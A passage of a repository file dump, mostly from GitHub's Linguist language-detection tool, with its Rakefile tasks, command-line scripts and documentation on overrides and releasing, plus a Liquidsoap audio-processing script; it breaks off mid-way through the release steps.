grammars are 100% error free.\ndesc \"Check that compiling the grammars doesn't introduce any new unexpected errors\"\ntask :check_grammars do\n  expected_error_count = 54  # This count should only ever go down. If it goes up, there's a new issue that needs to be addressed before updating the grammar.\n  rm_rf \"linguist-grammars\"\n  output, status = Open3.capture2e(\"script/grammar-compiler\", \"compile\", \"-o\", \"linguist-grammars\")\n  errors_found = output[/The grammar library contains ([0-9]+) errors/, 1].to_i\n  missing_grammars = output.scan(/Missing scope in repository: `([^`].+)` is listed in grammars.yml but cannot be found/)\n\n  unless missing_grammars.empty?\n    fail <<~MISSING\n      #{output}\n\n      ERROR: Could not find the following grammars:\n\n      #{missing_grammars.join(\"\\n\")}\n\n      Please review the output above.\n\n      MISSING\n  end\n\n  unless errors_found == expected_error_count\n    fail <<~ERRORS\n      #{output}\n\n      ERROR: An unexpected number of errors have been found. Expected: #{expected_error_count}, Found: #{errors_found}.\n\n      Please review the output and adjust the rake task expected error count if needed.\n\n      ERRORS\n  end\nend\n\ntask :build_gem => :samples do\n  rm_rf \"grammars\"\n  sh \"script/grammar-compiler compile -o grammars || true\"\n  languages = YAML.load_file(\"lib/linguist/languages.yml\")\n  File.write(\"lib/linguist/languages.json\", Yajl.dump(languages))\n  `gem build github-linguist.gemspec`\n  File.delete(\"lib/linguist/languages.json\")\nend\n\nnamespace :benchmark do\n  benchmark_path = \"benchmark/results\"\n\n  # $ bundle exec rake benchmark:generate CORPUS=path/to/samples\n  desc \"Generate results for\"\n  task :generate do\n    ref = `git rev-parse HEAD`.strip[0,8]\n\n    corpus = File.expand_path(ENV[\"CORPUS\"] || \"samples\")\n\n    require 'linguist'\n\n    results = Hash.new\n    Dir.glob(\"#{corpus}/**/*\").each do |file|\n      next unless File.file?(file)\n      filename = file.gsub(\"#{corpus}/\", \"\")\n      results[filename] = Linguist::FileBlob.new(file).language\n    end\n\n    # Ensure results directory exists\n    FileUtils.mkdir_p(\"benchmark/results\")\n\n    # Write results\n    if `git status`.include?('working directory clean')\n      result_filename = \"benchmark/results/#{File.basename(corpus)}-#{ref}.json\"\n    else\n      result_filename = \"benchmark/results/#{File.basename(corpus)}-#{ref}-unstaged.json\"\n    end\n\n    File.write(result_filename, results.to_json)\n    puts \"wrote #{result_filename}\"\n  end\n\n  # $ bundle exec rake benchmark:compare REFERENCE=path/to/reference.json CANDIDATE=path/to/candidate.json\n  desc \"Compare results\"\n  task :compare do\n    reference_file = ENV[\"REFERENCE\"]\n    candidate_file = ENV[\"CANDIDATE\"]\n\n    reference = Yajl.load(File.read(reference_file))\n    reference_counts = Hash.new(0)\n    reference.each { |filename, language| reference_counts[language] += 1 }\n\n    candidate = Yajl.load(File.read(candidate_file))\n    candidate_counts = Hash.new(0)\n    candidate.each { |filename, language| candidate_counts[language] += 1 }\n\n    changes = diff(reference_counts, candidate_counts)\n\n    if changes.any?\n      changes.each do |language, (before, after)|\n        before_percent = 100 * before / reference.size.to_f\n        after_percent = 100 * after / candidate.size.to_f\n        puts \"%s changed from %.1f%% to %.1f%%\" % [language || 'unknown', before_percent, after_percent]\n      end\n    else\n      puts \"No changes\"\n    end\n  end\nend\n\nnamespace :classifier do\n  LIMIT = 1_000\n\n  desc \"Run classifier against #{LIMIT} public gists\"\n  task :test do\n    require 'linguist/classifier'\n    require 'linguist/samples'\n\n    total, correct, incorrect = 0, 0, 0\n    $stdout.sync = true\n\n    each_public_gist do |gist_url, file_url, file_language|\n      next if file_language.nil? || file_language == 'Text'\n      begin\n        data = open(file_url).read\n        guessed_language, score = Linguist::Classifier.classify(Linguist::Samples.cache, data).first\n\n        total += 1\n        guessed_language == file_language ? correct += 1 : incorrect += 1\n\n        print \"\\r\\e[0K%d:%d  %g%%\" % [correct, incorrect, (correct.to_f/total.to_f)*100]\n        $stdout.flush\n      rescue URI::InvalidURIError\n      else\n        break if total >= LIMIT\n      end\n    end\n    puts \"\"\n  end\n\n  def each_public_gist\n    require 'open-uri'\n    url = \"https://api.github.com/gists/public\"\n\n    loop do\n      resp = open(url)\n      url = resp.meta['link'][/<([^>]+)>; rel=\"next\"/, 1]\n      gists = Yajl.load(resp.read)\n\n      for gist in gists\n        for filename, attrs in gist['files']\n          yield gist['url'], attrs['raw_url'], attrs['language']\n        end\n      end\n    end\n  end\nend\n\n\ndef diff(a, b)\n  (a.keys | b.keys).each_with_object({}) do |key, diff|\n    diff[key] = [a[key], b[key]] unless a[key] == b[key]\n  end\nend\n"
  },
  {
    "path": "audio.liq",
    "content": "# Multiband compression. The list in argument specifies\n# - the `frequency` below which we should apply compression (it is above previous band)\n# - the `attack` time (ms)\n# - the `release` time (ms)\n# - the compression `ratio`\n# - the `threshold` for compression\n# - the `gain` for the band\n# @category Source / Audio processing\n# @param ~limit Also apply limiting to bands.\n# @param l Parameters for compression bands.\n# @param s Source on which multiband compression should be applied.\n# @flag extra\ndef compress.multiband(~limit=true, ~wet=getter(1.), s, l) =\n  # Check that the bands are with increasing frequencies.\n  for\n  i\n  =\n  0\n  to\n  list.length(l) - 2\n  do\n    if\n      getter.get(list.nth(l, i + 1).frequency) <\n        getter.get(list.nth(l, i).frequency)\n    then\n      failwith(\"Bands should be sorted.\")\n    end\n  end\n\n  # Process a band\n  def band(low, band) =\n    high =\n      if\n        getter.is_constant(band.frequency)\n      and\n        getter.get(band.frequency) >= float_of_int(audio.samplerate()) / 2.\n      then\n        infinity\n      else\n        band.frequency\n      end\n\n    s = filter.iir.eq.low_high(low=low, high=high, s)\n    s =\n      compress(\n        attack=band.attack,\n        release=band.release,\n        threshold=band.threshold,\n        ratio=band.ratio,\n        gain=band.gain,\n        s\n      )\n\n    if limit then limiter(s) else s end\n  end\n\n  ls =\n    list.mapi(\n      fun (i, b) ->\n        band(if i == 0 then 0. else list.nth(l, i - 1).frequency end, b),\n      l\n    )\n\n  c = add(normalize=false, ls)\n  s =\n    if\n      not getter.is_constant(wet) or getter.get(wet) != 1.\n    then\n      add(\n        normalize=false, [amplify({1. - getter.get(wet)}, s), amplify(wet, c)]\n      )\n    else\n      c\n    end\n\n\n  # Seal l element type\n  if false then () else list.hd(l) end\n\n  # Limit to avoid bad surprises\n  limiter(s)\nend\n\n# Compress and normalize, producing a more uniform and \"full\" sound.\n# @category Source / Audio processing\n# @flag extra\n# @param s The input source.\ndef nrj(s) =\n  compress(threshold=-15., ratio=3., gain=3., normalize(s))\nend\n\n# Multiband-compression.\n# @category Source / Audio processing\n# @flag extra\n# @param s The input source.\ndef sky(s) =\n  # 3-band crossover\n  low = fun (s) -> filter.iir.eq.low(frequency=168., s)\n  mh = fun (s) -> filter.iir.eq.high(frequency=100., s)\n  mid = fun (s) -> filter.iir.eq.low(frequency=1800., s)\n  high = fun (s) -> filter.iir.eq.high(frequency=1366., s)\n\n  # Add back\n  add(\n    normalize=false,\n    [\n      compress(\n        attack=100.,\n        release=200.,\n        threshold=-20.,\n        ratio=6.,\n        gain=6.7,\n        knee=0.3,\n        low(s)\n      ),\n      compress(\n        attack=100.,\n        release=200.,\n        threshold=-20.,\n        ratio=6.,\n        gain=6.7,\n        knee=0.3,\n        mid(mh(s))\n      ),\n      compress(\n        attack=100.,\n        release=200.,\n        threshold=-20.,\n        ratio=6.,\n        gain=6.7,\n        knee=0.3,\n        high(s)\n      )\n    ]\n  )\nend\n\n# Generate DTMF tones.\n# @flag extra\n# @category Source / Sound synthesis\n# @param ~duration Duration of a tone (in seconds).\n# @param ~delay Dealy between two successive tones (in seconds).\n# @param dtmf String describing DTMF tones to generates: it should contains characters 0 to 9, A to D, or * or #.\ndef replaces dtmf(~duration=0.1, ~delay=0.05, dtmf) =\n  l = ref([])\n  for\n  i\n  =\n  0\n  to\n  string.length(dtmf) - 1\n  do\n    c = string.sub(dtmf, start=i, length=1)\n    let (row, col) =\n      if\n        c == \"1\"\n      then\n        (697., 1209.)\n      elsif c == \"2\" then (697., 1336.)\n      elsif c == \"3\" then (697., 1477.)\n      elsif c == \"A\" then (697., 1633.)\n      elsif c == \"4\" then (770., 1209.)\n      elsif c == \"5\" then (770., 1336.)\n      elsif c == \"6\" then (770., 1477.)\n      elsif c == \"B\" then (770., 1633.)\n      elsif c == \"7\" then (852., 1209.)\n      elsif c == \"8\" then (852., 1336.)\n      elsif c == \"9\" then (852., 1477.)\n      elsif c == \"C\" then (852., 1633.)\n      elsif c == \"*\" then (941., 1209.)\n      elsif c == \"0\" then (941., 1336.)\n      elsif c == \"#\" then (941., 1477.)\n      elsif c == \"D\" then (941., 1633.)\n      else\n        (0., 0.)\n      end\n\n    s = add([sine(row, duration=duration), sine(col, duration=duration)])\n    l := blank(duration=delay)::l()\n    l := s::l()\n  end\n\n  l = list.rev(l())\n  sequence(l)\nend\n\n# Mixing table controllable via source methods and optional\n# server/telnet commands.\n# @flag extra\n# @category Source / Audio processing\n# @param ~id Force the value of the source ID.\n# @param ~register_server_commands Register corresponding server commands\ndef mix(~id=null(), ~register_server_commands=true, sources) =\n  id = string.id.default(default=\"mixer\", id)\n  inputs =\n    list.map(\n      fun (s) ->\n        begin\n          volume = ref(1.)\n          is_selected = ref(false)\n          is_single = ref(false)\n          {volume=volume, selected=is_selected, single=is_single, source=s}\n        end,\n      sources\n    )\n\n  insert_metadata_fn = ref(fun (_) -> ())\n  sources =\n    list.map(\n      fun (input) ->\n        begin\n          s = amplify(input.volume, input.source)\n          s =\n            source.on_track(\n              s, fun (_) -> if input.single() then input.selected := false end\n            )\n\n          s =\n            source.on_metadata(\n              s,\n              fun (m) ->\n                begin\n                  fn = insert_metadata_fn()\n                  fn(m)\n                end\n            )\n\n          switch([(input.selected, s)])\n        end,\n      inputs\n    )\n\n  s = add(sources)\n  let {metadata = _, ...tracks} = source.tracks(s)\n  s = source(tracks)\n  s = insert_metadata(s)\n  insert_metadata_fn := s.insert_metadata\n  let {track_marks = _, ...tracks} = source.tracks(s)\n  s = source(id=id, tracks)\n  if\n    register_server_commands\n  then\n    def status(input) =\n      \"ready=#{source.is_ready(\n        input.source\n      )} selected=#{input.selected()} single=#{input.single()} volume=#{int_of_float(\n        input.volume() * 100.\n      )}% remaining=#{source.remaining(input.source)}\"\n    end\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Skip current track on all enabled sources.\",\n      \"skip\",\n      fun (_) ->\n        begin\n          list.iter(\n            fun (input) ->\n              if input.selected() then source.skip(input.source) end,\n            inputs\n          )\n\n          \"OK\"\n        end\n    )\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Set volume for a given source.\",\n      usage=\"volume <source nb> <vol%>\",\n      \"volume\",\n      fun (v) ->\n        begin\n          try\n            let [i, v] = r/\\s/.split(v)\n            input = list.nth(inputs, int_of_string(i))\n            input.volume := float_of_string(v)\n            status(input)\n          catch _ do\n            \"Usage: volume <source nb> <vol%>\"\n          end\n        end\n    )\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Enable/disable a source.\",\n      usage=\"select <source nb> <true|false>\",\n      \"select\",\n      fun (arg) ->\n        begin\n          try\n            let [i, b] = r/\\s/.split(arg)\n            input = list.nth(inputs, int_of_string(i))\n            input.selected := (b == \"true\")\n            status(input)\n          catch _ do\n            \"Usage: select <source nb> <true|false>\"\n          end\n        end\n    )\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Enable/disable automatic stop at the end of track.\",\n      usage=\"single <source nb> <true|false>\",\n      \"single\",\n      fun (arg) ->\n        begin\n          try\n            let [i, b] = r/\\s/.split(arg)\n            input = list.nth(inputs, int_of_string(i))\n            input.single := (b == \"true\")\n            status(input)\n          catch _ do\n            \"Usage: single <source nb> <true|false>\"\n          end\n        end\n    )\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Display current status.\",\n      \"status\",\n      fun (i) ->\n        begin\n          try\n            status(list.nth(inputs, int_of_string(i)))\n          catch _ do\n            \"Usage: status <source nb>\"\n          end\n        end\n    )\n\n    server.register(\n      namespace=source.id(s),\n      description=\"Print the list of input sources.\",\n      \"inputs\",\n      fun (_) ->\n        string.concat(\n          separator=\" \",\n          list.map(fun (input) -> source.id(input.source), inputs)\n        )\n    )\n  end\n\n  s.{inputs=inputs}\nend"
  },
  {
    "path": "bin/git-linguist",
    "content": "#!/usr/bin/env ruby\n\n$LOAD_PATH[0, 0] = File.join(File.dirname(__FILE__), '..', 'lib')\n\nrequire 'linguist'\nrequire 'rugged'\nrequire 'optparse'\nrequire 'json'\nrequire 'tempfile'\nrequire 'zlib'\n\nclass GitLinguist\n  def initialize(path, commit_oid, incremental = true, tree_size = Linguist::Repository.MAX_TREE_SIZE)\n    @repo_path = path\n    @commit_oid = commit_oid\n    @incremental = incremental\n    @tree_size = tree_size\n  end\n\n  def linguist\n    if @commit_oid.nil?\n      raise \"git-linguist must be called with a specific commit OID to perform language computation\"\n    end\n    repo = Linguist::Repository.new(rugged, @commit_oid, @tree_size)\n\n    if @incremental && stats = load_language_stats\n      old_commit_oid, old_stats = stats\n\n      # A cache with NULL oid means that we want to freeze\n      # these language stats in place and stop computing\n      # them (for performance reasons)\n      return old_stats if old_commit_oid == NULL_OID\n      repo.load_existing_stats(old_commit_oid, old_stats)\n    end\n\n    result = yield repo\n\n    save_language_stats(@commit_oid, repo.cache)\n    result\n  end\n\n  def load_language_stats\n    version, oid, stats = load_cache\n    if version == LANGUAGE_STATS_CACHE_VERSION && oid && stats\n      [oid, stats]\n    end\n  end\n\n  def save_language_stats(oid, stats)\n    cache = [LANGUAGE_STATS_CACHE_VERSION, oid, stats]\n    write_cache(cache)\n  end\n\n  def clear_language_stats\n    File.unlink(cache_file)\n  rescue Errno::ENOENT\n  end\n\n  def disable_language_stats\n    save_language_stats(NULL_OID, {})\n  end\n\n  protected\n  NULL_OID = (\"0\" * 40).freeze\n\n  LANGUAGE_STATS_CACHE = 'language-stats.cache'\n  LANGUAGE_STATS_CACHE_VERSION = \"v3:#{Linguist::VERSION}\"\n\n  def rugged\n    @rugged ||= Rugged::Repository.bare(@repo_path)\n  end\n\n  def cache_file\n    File.join(@repo_path, LANGUAGE_STATS_CACHE)\n  end\n\n  def write_cache(object)\n    return unless File.directory? @repo_path\n\n    Tempfile.open('cache_file', @repo_path) do |f|\n      marshal = Marshal.dump(object)\n      f.write(Zlib::Deflate.deflate(marshal))\n      f.close\n      File.rename(f.path, cache_file)\n    end\n\n    FileUtils.chmod 0644, cache_file\n  end\n\n  def load_cache\n    marshal = File.open(cache_file, \"rb\") { |f| Zlib::Inflate.inflate(f.read) }\n    Marshal.load(marshal)\n  rescue SystemCallError, ::Zlib::DataError, ::Zlib::BufError, TypeError\n    nil\n  end\nend\n\n\ndef git_linguist(args)\n  incremental = true\n  commit = nil\n  tree_size = Linguist::Repository::MAX_TREE_SIZE\n\n  parser = OptionParser.new do |opts|\n    opts.banner = <<~HELP\n      Linguist v#{Linguist::VERSION}\n      Detect language type and determine language breakdown for a given Git repository.\n\n      Usage:\n      git-linguist [OPTIONS] stats|breakdown|dump-cache|clear|disable\n    HELP\n\n    opts.on(\"-f\", \"--force\", \"Force a full rescan\") { incremental = false }\n    opts.on(\"-c\", \"--commit=COMMIT\", \"Commit to index\") { |v| commit = v}\n    opts.on(\"-t\", \"--tree-size=NUMBER\", Integer,\n            \"Maximum number of files scanned to detect languages (default: #{Linguist::Repository::MAX_TREE_SIZE})\" ) { |t| tree_size = t }\n  end\n\n  parser.parse!(args)\n  git_dir = `git rev-parse --git-dir`.strip\n  raise \"git-linguist must be run in a Git repository\" unless $?.success?\n  wrapper = GitLinguist.new(git_dir, commit, incremental, tree_size)\n\n  case args.pop\n  when \"stats\"\n    wrapper.linguist do |linguist|\n      puts JSON.dump(linguist.languages)\n    end\n  when \"breakdown\"\n    wrapper.linguist do |linguist|\n      puts JSON.dump(linguist.breakdown_by_file)\n    end\n  when \"dump-cache\"\n    puts JSON.dump(wrapper.load_language_stats)\n  when \"clear\"\n    wrapper.clear_language_stats\n  when \"disable\"\n    wrapper.disable_language_stats\n  else\n    $stderr.print(parser.help)\n    exit 1\n  end\nrescue SystemExit\n  exit 1\nrescue Exception => e\n  $stderr.puts e.message\n  $stderr.puts e.backtrace\n  exit 1\nend\n\ngit_linguist(ARGV)\n"
  },
  {
    "path": "bin/github-linguist",
    "content": "#!/usr/bin/env ruby\n\n$LOAD_PATH[0, 0] = File.join(File.dirname(__FILE__), '..', 'lib')\n\nrequire 'linguist'\nrequire 'rugged'\nrequire 'json'\nrequire 'optparse'\nrequire 'pathname'\n\nHELP_TEXT = <<~HELP\nLinguist v#{Linguist::VERSION}\nDetect language type and determine language breakdown for a given Git repository.\n\nUsage: github-linguist <path>\n       github-linguist <path> [--rev REV] [--tree-size] [--breakdown] [--strategies] [--json]\n       github-linguist [--rev REV] [--tree-size] [--breakdown] [--strategies] [--json]\nHELP\n\ndef github_linguist(args)\n  breakdown = false\n  json_output = false\n  show_strategies = false\n  tree_size = Linguist::Repository::MAX_TREE_SIZE\n  rev = 'HEAD'\n  path = Dir.pwd\n\n  parser = OptionParser.new do |opts|\n    opts.banner = HELP_TEXT\n    opts.version = Linguist::VERSION\n\n    opts.on(\"-b\", \"--breakdown\", \"Analyze entire repository and display detailed usage statistics\") { breakdown = true }\n    opts.on(\"-s\", \"--strategies\", \"Show language detection strategy used for each file\") { show_strategies = true }\n    opts.on(\"-j\", \"--json\", \"Output results as JSON\") { json_output = true }\n    opts.on(\"-r\", \"--rev REV\", String,\n            \"Analyze specific git revision\",\n            \"defaults to HEAD, see gitrevisions(1) for alternatives\") { |r| rev = r }\n    opts.on(\"-t\", \"--tree-size=NUMBER\", Integer,\n            \"Maximum number of files scanned to detect languages (default: #{Linguist::Repository::MAX_TREE_SIZE})\") { |t| tree_size = t }\n    opts.on(\"-h\", \"--help\", \"Display a short usage summary, then exit\") do\n      puts opts\n      exit\n    end\n  end\n\n  parser.parse!(args)\n\n  if !args.empty?\n    if File.directory?(args[0]) || File.file?(args[0])\n      path = args[0]\n    else\n      abort HELP_TEXT\n    end\n  end\n\n  if File.directory?(path)\n    rugged = Rugged::Repository.new(path)\n    begin\n      target_oid = rugged.rev_parse_oid(rev)\n    rescue\n      puts \"invalid revision '#{rev}' for repo '#{path}'\"\n      exit 1\n    end\n\n    # Set up instrumentation to track detection strategies if requested\n    instrumenter = show_strategies ? Linguist::BasicInstrumenter.new : nil\n    Linguist.instrumenter = instrumenter\n\n    repo = Linguist::Repository.new(rugged, target_oid, tree_size)\n\n    full_results = {}\n    repo.languages.each do |language, size|\n      percentage = ((size / repo.size.to_f) * 100)\n      percentage = sprintf '%.2f' % percentage\n      full_results.merge!({\"#{language}\": { size: size, percentage: percentage } })\n    end\n\n    if !json_output\n      full_results.sort_by { |_, v| v[:size] }.reverse.each do |language, details|\n        puts \"%-7s %-10s %s\" % [\"#{details[:percentage]}%\", details[:size], language]\n      end\n      if breakdown || show_strategies\n        puts\n        file_breakdown = repo.breakdown_by_file\n        file_breakdown.each do |lang, files|\n          puts \"#{lang}:\"\n          files.each do |file|\n            strategy_info = instrumenter&.detected_info&.[](file)\n            if show_strategies && strategy_info\n              puts \"  #{file} [#{strategy_info[:strategy]}]\"\n            else\n              puts \"  #{file}\"\n            end\n          end\n          puts\n        end\n      end\n    else\n      if !breakdown\n        puts JSON.dump(full_results)\n      else\n        combined_results = full_results.merge({})\n\n        repo.breakdown_by_file.each do |language, files|\n          combined_results[language.to_sym].update({\"files\": files})\n        end\n        puts JSON.dump(combined_results)\n      end\n    end\n  elsif File.file?(path)\n    # Set up instrumentation to track detection strategies if requested\n    instrumenter = show_strategies ? Linguist::BasicInstrumenter.new : nil\n    Linguist.instrumenter = instrumenter\n\n    begin\n      # Check if this file is inside a git repository so we have things like\n      # `.gitattributes` applied.\n      file_full_path = File.realpath(path)\n      rugged = Rugged::Repository.discover(file_full_path)\n      file_rel_path = file_full_path.sub(rugged.workdir, '')\n      oid = -> { rugged.head.target.tree.walk_blobs { |r, b| return b[:oid] if r + b[:name] == file_rel_path } }\n      blob = Linguist::LazyBlob.new(rugged, oid.call, file_rel_path)\n    rescue Rugged::RepositoryError\n      blob = Linguist::FileBlob.new(path, Dir.pwd)\n    end\n\n    type = if blob.text?\n      'Text'\n    elsif blob.image?\n      'Image'\n    else\n      'Binary'\n    end\n\n    if json_output\n      puts JSON.generate( { path =>  {\n                                        :lines => blob.loc,\n                                        :sloc => blob.sloc,\n                                        :type => type,\n                                        :mime_type => blob.mime_type,\n                                        :language => blob.language,\n                                        :large => blob.large?,\n                                        :generated => blob.generated?,\n                                        :vendored => blob.vendored?,\n                                      }\n                          } )\n    else\n      puts \"#{path}: #{blob.loc} lines (#{blob.sloc} sloc)\"\n      puts \"  type:      #{type}\"\n      puts \"  mime type: #{blob.mime_type}\"\n      puts \"  language:  #{blob.language}\"\n      if show_strategies && blob.language\n        strategy_info = instrumenter.detected_info[blob.name]\n        puts \"  strategy:  #{strategy_info[:strategy]}\" if strategy_info\n      end\n\n      if blob.large?\n        puts \"  blob is too large to be shown\"\n      end\n\n      if blob.generated?\n        puts \"  appears to be generated source code\"\n      end\n\n      if blob.vendored?\n        puts \"  appears to be a vendored file\"\n      end\n    end\n  else\n    abort HELP_TEXT\n  end\nend\n\ngithub_linguist(ARGV)\n"
  },
  {
    "path": "docs/README.md",
    "content": "# Linguist Documentation\n\n- [How Linguist works](how-linguist-works.md)\n- [Change Linguist's behaviour with overrides](overrides.md)\n- [Troubleshooting](troubleshooting.md)\n- [Contributing guidelines](/CONTRIBUTING.md)\n- [Releasing Linguist](releasing.md) (Only applicable to GitHub staff)\n"
  },
  {
    "path": "docs/how-linguist-works.md",
    "content": "# How Linguist works\n\nLinguist takes the list of languages it knows from [`languages.yml`](/lib/linguist/languages.yml) and uses a number of methods to try and determine the language used by each file, and the overall repository breakdown.\n\nLinguist starts by going through all the files in a repository and excludes all files that it determines to be binary data, [vendored code](/docs/overrides.md#vendored-code), [generated code](/docs/overrides.md#generated-code), [documentation](/docs/overrides.md#documentation), or are defined as `data` (e.g. SQL) or `prose` (e.g. Markdown) languages, whilst taking into account any [overrides](/docs/overrides.md).\n\nIf an [explicit language override](/docs/overrides.md#using-gitattributes) has been used, that language is used for the matching files.\nThe language of each remaining file is then determined using the following strategies, in order, with each step either identifying the precise language or reducing the number of likely languages passed down to the next strategy:\n\n- Vim or Emacs modeline,\n- commonly used filename,\n- shell shebang,\n- file extension,\n- XML header,\n- man page section,\n- heuristics,\n- naïve Bayesian classification\n\nThe result of this analysis is used to produce the language stats bar which displays the languages percentages for the files in the repository.\nThe percentages are calculated based on the bytes of code for each language as reported by the [List Languages](https://docs.github.com/rest/reference/repos#list-repository-languages) API.\n\n![language stats bar](https://user-images.githubusercontent.com/2346707/91533656-9768b300-e953-11ea-808d-994cd50e6273.png)\n\n## How Linguist works on GitHub.com\n\nWhen you push changes to a repository on GitHub.com,\na low priority background job is enqueued to analyze the [default branch](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch) of your repository as explained above.\nThe results of this analysis are cached for the lifetime of your repository and are only updated when the repository is updated.\nAs this analysis is performed by a low priority background job, it can take a while, particularly during busy periods, for your language statistics bar to reflect your changes.\n"
  },
  {
    "path": "docs/overrides.md",
    "content": "# Overrides\n\nLinguist supports a number of different custom override strategies for language definitions and file paths.\n\n## Using gitattributes\n\nAdd [a `.gitattributes` file](https://git-scm.com/docs/gitattributes) to your project and use standard git-style path matchers for the files you want to override using the `linguist-documentation`, `linguist-language`, `linguist-vendored`, `linguist-generated`  and `linguist-detectable` attributes.\n`.gitattributes` will be used to determine language statistics and will be used to syntax highlight files.\nYou can also manually set syntax highlighting using [Vim or Emacs modelines](#using-emacs-or-vim-modelines).\n\nWhen testing with a local installation of Linguist, **take note that the added attributes will _not_ take effect until the `.gitattributes` file is committed to your repository.**\n\nFile and folder paths inside `.gitattributes` are calculated relative to the position of the `.gitattributes` file.\n\n```gitattributes\n# Example of a `.gitattributes` file which reclassifies `.rb` files as Java:\n*.rb linguist-language=Java\n\n# Replace any whitespace in the language name with hyphens:\n*.glyphs linguist-language=OpenStep-Property-List\n\n# Language names are case-insensitive and may be specified using an alias.\n# So, the following three lines are all functionally equivalent:\n*.es linguist-language=js\n*.es linguist-language=JS\n*.es linguist-language=JAVASCRIPT\n```\n\n### Summary\n\n<!------------------------------------------------------------------------------------------------------------------------------------------->\n | Git attribute                                  | Defined in            | Effect on file                                                  |\n |:-----------------------------------------------|:----------------------|:----------------------------------------------------------------|\n | `linguist-detectable`                          | [`languages.yml`]     | Included in stats, even if language's type is `data` or `prose` |\n | `linguist-documentation`                       | [`documentation.yml`] | Excluded from stats                                             |\n | `linguist-generated`                           | [`generated.rb`]      | Excluded from stats, hidden in diffs                            |\n | `linguist-language`=<var><ins>name</ins></var> | [`languages.yml`]     | Highlighted and classified as <var><ins>name</ins></var>        |\n | `linguist-vendored`                            | [`vendor.yml`]        | Excluded from stats                                             |\n<!------------------------------------------------------------------------------------------------------------------------------------------->\n\n### Detectable\n\nBy default only languages of type `programming` or `markup` in [`languages.yml`] are included in the language statistics.\nLanguages of a different type in [`languages.yml`] are not \"detectable\" by default, causing them not to be included in the language statistics,\nbut can be made detectable as shown below.  Languages that are not yet mentioned in [`languages.yml`] will not be included in the language\nstatistics, even if you specify something like `*.mycola linguist-language=MyCoolLang linguist-detectable` in the `.gitattributes` file.\n\nUse the `linguist-detectable` attribute to mark or unmark paths as detectable:\n\n```gitattributes\n*.kicad_pcb linguist-detectable\n*.sch linguist-detectable\ntools/export_bom.py -linguist-detectable\n```\n\n### Documentation\n\nJust like vendored files, Linguist excludes documentation files from your project's language stats.\n[`documentation.yml`] lists common documentation paths and excludes them from the language statistics for your repository.\n\nUse the `linguist-documentation` attribute to mark or unmark paths as documentation:\n\n```gitattributes\n# Apply override to all files in the directory\nproject-docs/* linguist-documentation\n# Apply override to a specific file\ndocs/formatter.rb -linguist-documentation\n# Apply override to all files and directories in the directory\nano-dir/** linguist-documentation\n```\n\n### Generated code\n\nNot all plain text files are true source files.\nGenerated files like minified JavaScript and compiled CoffeeScript can be detected and excluded from language stats.\nAs an added bonus, unlike vendored and documentation files, these files are suppressed in diffs.\n[`generated.rb`] lists common generated paths and excludes them from the language statistics of your repository.\n\nUse the `linguist-generated` attribute to mark or unmark paths as generated.\n\n```gitattributes\nApi.elm linguist-generated\n```\n\n### Vendored code\n\nChecking code you didn't write, such as JavaScript libraries, into your git repo is a common practice, but this often inflates your project's language stats and may even cause your project to be labeled as another language.\nBy default, Linguist treats all of the paths defined in [`vendor.yml`] as vendored and therefore doesn't include them in the language statistics for a repository.\n\nUse the `linguist-vendored` attribute to vendor or un-vendor paths:\n\n```gitattributes\n# Apply override to all files in the directory\nspecial-vendored-path/* linguist-vendored\n# Apply override to a specific file\njquery.js -linguist-vendored\n# Apply override to all files and directories in the directory\nano-dir/** linguist-vendored\n```\n\n## Using Emacs or Vim modelines\n\nIf you do not want to use `.gitattributes` to override the syntax highlighting used on GitHub.com, you can use Vim or Emacs style modelines to set the language for a single file.\nModelines can be placed anywhere within a file and are respected when determining how to syntax-highlight a file on GitHub.com\n\n### Vim\n```\n# Some examples of various styles:\nvim: syntax=java\nvim: set syntax=ruby:\nvim: set filetype=prolog:\nvim: set ft=cpp:\n```\n\n### Emacs\n```\n-*- mode: php; -*-\n-*- c++ -*-\n```\n\n[`documentation.yml`]: /lib/linguist/documentation.yml\n[`languages.yml`]:     /lib/linguist/languages.yml\n[`generated.rb`]:      /lib/linguist/generated.rb\n[`vendor.yml`]:        /lib/linguist/vendor.yml\n"
  },
  {
    "path": "docs/releasing.md",
    "content": "# Releasing\n\nThis is the procedure for making a new release of Linguist. The entire process needs to be performed by a member of GitHub staff.\n\n1. Create a branch for the release: `git checkout -b release-vxx.xx.xx`\n2. Make sure your local dependencies are up to date: `rm Gemfile.lock && script/bootstrap`\n3. If the grammar submodules have not been updated recently, update them: `git submodule update --remote`.\n   If any submodules are updated:\n    1. update the `grammars.yml`: `script/grammar-compiler update -f`\n    2. confirm the updated grammars still compile and no new errors have been introduced and none have gone missing: `bundle exec rake check_grammars`\n    3. verify and fix any problems identified above\n    4. commit all changes: `git commit -a`\n    5. update the license cache: `bundle exec licensed cache -c vendor/licenses/config.yml`\n    6. double check no license problems found: `bundle exec licensed status -c vendor/licenses/config.yml`\n    7. verify and fix any problems identified above\n    8. commit all changes: `git commit -a`\n4. Ensure that samples are updated: `bundle exec rake samples`\n5. Ensure that tests are green: `bundle exec rake test`\n6. Build a test gem `GEM_VERSION=$(git describe --tags 2>/dev/null | sed 's/-/./g' | sed 's/v//') bundle exec rake build_gem`\n7. Test the test gem:\n   1. Bump the Gemfile and Gemfile.lock versions for an app which relies on this gem\n   2. Install the new gem locally\n   3. Test behavior locally, branch deploy, whatever needs to happen\n8. Bump gem version in `lib/linguist/VERSION`, [like this](https://github.com/github/linguist/commit/3212355400974ce5f7873a71eb8b85b1c5f4a6d2).\n9. Make a PR to `github/linguist`, [like this](https://github.com/github/linguist/pull/5084).\n10. Build a local gem: `bundle exec rake build_gem`\n11. Merge the `github/linguist` PR\n12. Tag and push: `git tag vx.xx.xx; git push --tags`\n13. Create a GitHub release with the pushed tag (https://github.com/github/linguist/releases/new) and populate it using the \"Generate release notes\" button.\n14. Build a grammars tarball (`./script/build-grammars-tarball`) and attach it to the GitHub release\n15. Push to rubygems.pkg.github.com -- `gem push --key github --host https://rubygems.pkg.github.com/github github-linguist-3.0.0.gem`. See [Working with the RubyGems registry][gpr] for more details.\n16. Push to rubygems.org -- `gem push github-linguist-3.0.0.gem`\n17. Update and deploy the following repositories to use the new gem in production:\n    - `github/github` - if backporting, label for backporting to the latest version of GitHub Enterprise Server only.\n    - `github/treelights` - this only needs the Linguist version updated to 